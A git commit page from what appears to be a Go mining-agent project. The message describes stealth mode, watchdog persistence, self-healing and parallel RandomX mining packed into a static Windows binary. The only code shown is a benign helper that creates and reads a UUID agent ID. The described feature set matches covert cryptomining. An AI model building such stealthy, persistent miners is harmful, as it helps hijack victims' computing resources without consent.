Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

43
agent/deploy/identity.go Normal file
View File

@@ -0,0 +1,43 @@
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/google/uuid"
)
const agentIDFile = "agent.id"
// EnsureAgentID creates a fresh agent ID during a new embed/install.
func EnsureAgentID(installDir string) (string, error) {
if err := os.MkdirAll(installDir, 0755); err != nil {
return "", err
}
id := uuid.New().String()
if err := writeAgentID(installDir, id); err != nil {
return "", err
}
return id, nil
}
// LoadAgentID returns the persisted agent ID from the install directory.
func LoadAgentID(installDir string) (string, error) {
path := filepath.Join(installDir, agentIDFile)
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
id := strings.TrimSpace(string(data))
if id == "" {
return "", fmt.Errorf("agent id file is empty")
}
return id, nil
}
func writeAgentID(installDir, id string) error {
path := filepath.Join(installDir, agentIDFile)
return os.WriteFile(path, []byte(id+"\n"), 0600)
}